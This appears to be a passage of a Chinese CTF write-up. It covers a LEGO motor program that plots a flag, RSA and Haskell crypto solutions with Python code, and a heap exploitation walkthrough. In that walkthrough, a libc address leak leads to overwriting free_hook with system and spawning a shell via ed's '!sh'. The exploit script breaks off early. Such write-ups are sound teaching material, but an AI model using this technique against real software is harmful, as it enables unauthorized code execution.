├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 600 | speed: -75 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 0.75 | speed: -70 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 //y ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 0.75 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 900 | speed: 75 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 //_ ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: 75 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 400 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 420 | speed: 75 ├─ FORK objectid: 10 │ └─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 60 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 120 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 480 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 700 | speed: 75 //n ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 3.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: -70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 420 | speed: 75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 300 | speed: 75 //o ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1 | speed: -70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 90 | speed: 75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 450 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: 75 //t ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: 75 //_ ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 180 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 180 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: -75 ├─ FORK objectid: 12 │ └─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1 | speed: -70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 180 | speed: 25 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 900 | speed: 75 //j ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 400 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 120 | speed: 75 ├─ FORK objectid: 15 │ └─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 60 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 120 | speed: -15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 480 | speed: 75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 280 | speed: 75 //u ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 3.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ FORK objectid: 17 │ └─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: -60 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 80 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: -60 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: 75 //s ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1 | speed: -70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 90 | speed: 75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 450 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: 75 //t ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: 75 //_ ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 400 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 120 | speed: 75 ├─ FORK objectid: 19 │ └─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 60 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 120 | speed: -15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 480 | speed: 75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 280 | speed: 75 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 3.5 | speed: 70 //u ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ FORK objectid: 21 │ └─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: -60 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 80 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: -60 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: 75 //s ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 540 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 240 | speed: 75 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: -70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 480 | speed: -75 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 780 | speed: 75 //e ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: 75 //_ ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1 | speed: -70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 90 | speed: 75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 450 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: 75 //t ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: 75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: 75 //h ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 540 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 240 | speed: 75 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: -70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 480 | speed: -75 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 780 | speed: 75 //e ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: 75 //_ ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 420 | speed: 75 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: -70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 800 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 1100 | speed: 75 //p ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 400 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 420 | speed: 75 ├─ FORK objectid: 22 │ └─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 60 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 120 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 60 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 280 | speed: 75 //r ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 180 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 180 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: 75 //i ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 400 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 420 | speed: 75 ├─ FORK objectid: 24 │ └─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 60 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 120 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 480 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 700 | speed: 75 //n ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1 | speed: -70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 90 | speed: 75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 450 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: 75 //t ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 540 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 240 | speed: 75 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: -70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 480 | speed: -75 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 780 | speed: 75 //e ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 400 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 420 | speed: 75 ├─ FORK objectid: 27 │ └─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 60 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 120 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 60 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 280 | speed: 75 //r ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 0.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 300 | speed: -75 ├─ FORK objectid: 29 │ ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 0.3 | speed: 90 │ └─ Motor.Rotations brake: 1 | port_motor: C | rotations: 0.3 | speed: -90 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 120 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 300 | speed: -75 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 0.5 | speed: -70 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 └─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: 75 //} ``` ## Crypto / 200 Lost Modulus Again 題目開起來發現他給你 $e,\ e^{-1} \bmod{\varphi(pq)},\ q^{-1} \bmod{p},\ p^{-1} \bmod{q},\ \text{plain}^e\bmod{pq}$ 發現這是個經典的RSA加密演算法 然後根據中國剩餘定理我們可以知道 $p(p^{-1}\bmod{q})+ q(q^{-1}\bmod{p})\equiv 1\bmod{pq}$ 更進一步可以得到 $p(p^{-1}\bmod{q})+ q(q^{-1}\bmod{p})=pq+1$ 所以 $p(p^{-1}\bmod{q}-1)+ q(q^{-1}\bmod{p}-1)=pq+1-(p+q)=\varphi(pq)$ 同時也知道$ed-1=k\cdot\varphi(pq), k\in\mathbb{Z}$ 而且$ed-1$的bit數很接近$pq$的bit數,所以我們可以直接枚舉$k$,然後在假定$\varphi(pq)=\frac{ed-1}{k}$的情況下去嘗試解$p$跟$q$出來。 要解$p$, $q$的部分則是可以透過擴展歐基理德演算法解[貝祖等式](https://zh.wikipedia.org/wiki/貝祖等式),求出所有可能的正整數$p$,$q$出來,然後要注意一下在$gcd(a, b)\neq 1$的情況下的擴展歐基理德演算法要好好處理一下 附個拿來算$p$, $q$的code ```python from Crypto.Util.number import * import math ​ e = 1048583 d = 20899585599499852848600179189763086698516108548228367107221738096450499101070075492197700491683249172909869748620431162381087017866603003080844372390109407618883775889949113518883655204495367156356586733638609604914325927159037673858380872827051492954190012228501796895529660404878822550757780926433386946425164501187561418082866346427628551763297010068329425460680225523270632454412376673863754258135691783420342075219153761633410012733450586771838248239221434791288928709490210661095249658730871114233033907339401132548352479119599592161475582267434069666373923164546185334225821332964035123667137917080001159691927 ipmq = 138356012157150927033117814862941924437637775040379746970778376921933744927520585574595823734209547857047013402623714044512594300691782086053475259157899010363944831564630625623351267412232071416191142966170634950729938561841853176635423819365023039470901382901261884795304947251115006930995163847675576699331 iqmp = 22886390627173202444468626406642274959028635116543626995297684671305848436910064602418012808595951325519844918478912090039470530649857775854959462500919029371215000179065185673136642143061689849338228110909931445119687113803523924040922470616407096745128917352037282612768345609735657018628096338779732460743 ​ k_phi_N = e * d - 1 ​ def exgcd(x, y): if y == 0: return (1, 0) else: b, a = exgcd(y, x%y) b -= (x//y)*a return (a, b) ​ a, b = exgcd(ipmq-1, iqmp-1) g = math.gcd(ipmq-1, iqmp-1) ​ def getPQ(phi): phi_g = phi // g # a*(ipmq-1) + b*(iqmp-1) == g # (phi_g*a)*(ipmq-1) + (phi_g*b)*(iqmp-1) == phi aa, bb = a*phi_g, b*phi_g dlta = (iqmp-1)//g dltb = (ipmq-1)//g ​ tmp_ = abs(aa) // dlta - 10 aa += tmp_ * dlta bb -= tmp_ * dltb assert(aa*(ipmq-1)+bb*(iqmp-1) == phi) ​ while aa < 0: aa += dlta bb -= dltb assert(aa*(ipmq-1)+bb*(iqmp-1) == phi) ​ while bb > 0: assert(aa*(ipmq-1) + bb*(iqmp-1) == phi) if isPrime(aa) and isPrime(bb) and inverse(aa, bb) == ipmq: print('aa=%d\nbb=%d'%(aa,bb)) assert(0) aa += dlta bb -= dltb ​ for i in range(2**18, 2**25): if k_phi_N % i == 0 and (k_phi_N // i) % g == 0: getPQ(k_phi_N // i) ``` ## Crypto / 200 - Very Simple Haskell 這是一題讀Haskell Code題目,感覺其實沒甚麼密碼學成分在內XD 因為我Haskell很爛,所以我是先努力翻成python之後才解的 下面擺個我翻譯出來Python Code ```python from Crypto.Util.number import * import functools ​ n = 134896036104102133446208954973118530800743044711419303630456535295204304771800100892609593430702833309387082353959992161865438523195671760946142657809228938824313865760630832980160727407084204864544706387890655083179518455155520501821681606874346463698215916627632418223019328444607858743434475109717014763667 k = 131 primes, p = [], 2 while len(primes) < k: if isPrime(p): primes.append(p) p += 1 ​ def stringToInteger(s): r = 0 for c in s: r = r * 256 + ord(c) return r def numToBits(x): r = [] while x > 0: r = [x&1] + r x >>= 1 return r def extendBits(blockLen, bits): return [0]*((blockLen-len(bits)%blockLen)%blockLen) + bits ​ def calc(num, arr): if not arr: return num num2 = num * num % n block, restArr = arr[:k], arr[k:] mul = functools.reduce(lambda x,y: x*y, map(lambda x: x[0]*x[1]%n if x[0]!=0 else 1, zip(block, primes))) return calc(mul*num2%n, restArr) ​ def magic(s): num = stringToInteger(s) bits = numToBits(num) extended = extendBits(8, bits) extended.reverse() oriLen = len(extended) extendedBits = extendBits(k, extended) oriLenBits = numToBits(oriLen) extendedOriLenBits = extendBits(k, oriLenBits) finalBits = extendedOriLenBits + extendedBits finalBits.reverse() return calc(1, finalBits) ​ if __name__ == '__main__': flag = open('flag').read() print(len(flag)) print(magic("the flag is hitcon{%s}"%flag)) ``` 稍微印點東西出來後發現他是計算 $70998196091606985545993711787111356453960854621421971918477501437269263801218145273626982609030910240112248874611888516366214608505^4 \cdot x^2 \cdot 3553\bmod{134896036104102133446208954973118530800743044711419303630456535295204304771800100892609593430702833309387082353959992161865438523195671760946142657809228938824313865760630832980160727407084204864544706387890655083179518455155520501821681606874346463698215916627632418223019328444607858743434475109717014763667}$ 其中$x$是根據flag不同而有所不同的東西 因為模的數跟前$k$個質數都互質,所以逆元必定存在,然後就知道$x^2\equiv 7408044823834091445627740990217334429796080152087544113221510708319937062359606887419717571527922650647181489064390504405177358050423185864015397222739025$ 原本想說$n$不是質數,原根也不一定存在,不知道怎麼做,後來大膽的把根號開下去後發現居然開得動,所以就做完了XD 附上最後把它換成string的code ```python from Crypto.Util.number import * ​ def bitsToString(bits): s = '' for i in range(0, len(bits), 8): c = 0 for j in range(8): c = c * 2 + bits[i+j] s += chr(c) return s ​ primes, p = [], 2 while len(primes) < 131: if isPrime(p): primes.append(p) p += 1 ​ wtf = 86069999557535094979972980224444072409353136887603982605698150750263262001655 ​ result = [] for p in primes: if wtf % p == 0: result.append(1) wtf //= p else: result.append(0) ​ print('hitcon{'+bitsToString(result[21:69])+'}') ``` ## Misc, Pwn / 234 - 🎃 Trick or Treat 🎃 ```clike= void main() { size = 0; Offsett = 0; value = 0; heap_addr = NULL; setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); write(1, "Size:", 5); scanf("%lu", &size); heap_addr = malloc(size); if (heap_addr) { printf("Magic:%p\n",heap_addr); for(int i = 0; i<2; i++){ write(1,"Offset & Value:",0x10); scanf("%lx %lx", &offset, &value); heap_addr[offset] = value; } } _exit(0); } ``` 程式流程很簡單, 使用者首先可以 malloc 任意大小的 chunk, 如果 malloc 成功就回傳 chunk 的位址, 接著, 使用者可以任意修改兩個位址的值, 但這位址是相對於 chunk 的位址。 一般來說, malloc 都是從 heap 切, 只有當 malloc 過大 (例如超過 top chunk size) 的 chunk 才會另外 mmap 一塊空間 (如圖所示) ![](https://i.imgur.com/wjZAHUp.png) 透過這個位址, 我們就能計算出 libc_base, 進而修改 free_hook 或 malloc_hook。 但程式看過去似乎沒有 free 和 malloc (如果不算一開始的 malloc 的話), 這樣修改 hook 有什麼用呢? 事實上, printf 和 scanf 在輸入字串過大時會觸發 malloc 來存字串 ```clike= if (width >= sizeof (work_buffer) / sizeof (work_buffer[0]) - 32) { /* We have to use a special buffer. The "32" is just a safe bet for all the output which is not counted in the width. */ size_t needed = ((size_t) width + 32) * sizeof (CHAR_T); if (__libc_use_alloca (needed)) workend = (CHAR_T *) alloca (needed) + width + 32; else { workstart = (CHAR_T *) malloc (needed); ... } ``` 因此如果我們將 malloc_hook 寫入 one_gadget 就有機會拿到 shell, 但不幸的是, 不論 malloc_hook 或 free_hook 都沒辦法滿足 constraints, 因此改朝 system 發展。 由於 malloc 多半會伴隨 free, 而且這裡的 free 是 free 掉剛剛 malloc 存放字串的 chunk, 如果我們將字串寫入 `a*0x1000 + ' ' + /bin/sh` 並調用 free (此時 free_hook 已寫入 system 的位址), 則會先因為 a*0x1000 觸發 malloc , 並等第一個 %lx 處理完後再次重新寫入 `/bin/sh\x00`, 這將使得待會 free 這塊 chunk 時, chunk 的內容為 `/bin/sh\x00aaaa...aaa` 而觸發 system('/bin/sh'), 然而這樣做是不行的, 因為 %lx 只吃 0-9 a-f 的字元。 好啦, 看來這題已從 pwn 轉為 misc 了 , 剩下的就是想辦法用 0-9 a-f 構成的指令拿到 shell。 經過隊友大大們的幫助, 發現可用 ed, 在 ed 輸入 !ls 能執行 shell 命令(ls), 因此輸入 !sh 就能成功拿到 shell。 ```python= from pwn import * libc = ELF("./libc.so.6") #r = process('./trick_or_treat') r = 